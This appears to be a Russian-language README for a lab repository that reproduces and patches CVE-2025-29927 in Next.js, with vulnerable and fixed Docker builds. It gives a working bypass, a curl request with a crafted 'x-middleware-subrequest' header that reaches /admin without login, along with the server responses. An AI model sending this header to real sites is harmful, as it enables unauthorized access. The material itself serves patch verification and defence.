
Воспроизведение и исправление уязвимости CVE-2025-29927.
Воспроизведение и исправление уязвимости CVE-2025-29927.
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927
В vulnerable/ находится версия приложения, уязвимая для атаки. В fixed/ находится версия приложения, обновлённая до минимальной версии, устраняющей уязвимость.
⚠️ Важно: Эти примеры предоставлены для защитников, исследователей и команд, проверяющих исправления. Не запускайте эти образы в публичных или производственных сетях. Тестируйте только в системах, которыми вы владеете или на которые имеете явное письменное разрешение.
Воспроизведение уязвимости CVE-2025-29927.
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln
Выполните эту команду, которая должна перенаправить на страницу входа
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Затем выполните эту команду, которая должна получить доступ к странице администратора
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...
Исправление уязвимости CVE-2025-29927.
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed
Выполните эту команду, которая должна перенаправить на страницу входа
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Затем выполните эту команду, которая теперь также должна быть перенаправлена на страницу входа
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Этот репозиторий основан на l1uk/nextjs-middleware-exploit, но адаптирован для версии 15.x Next.js.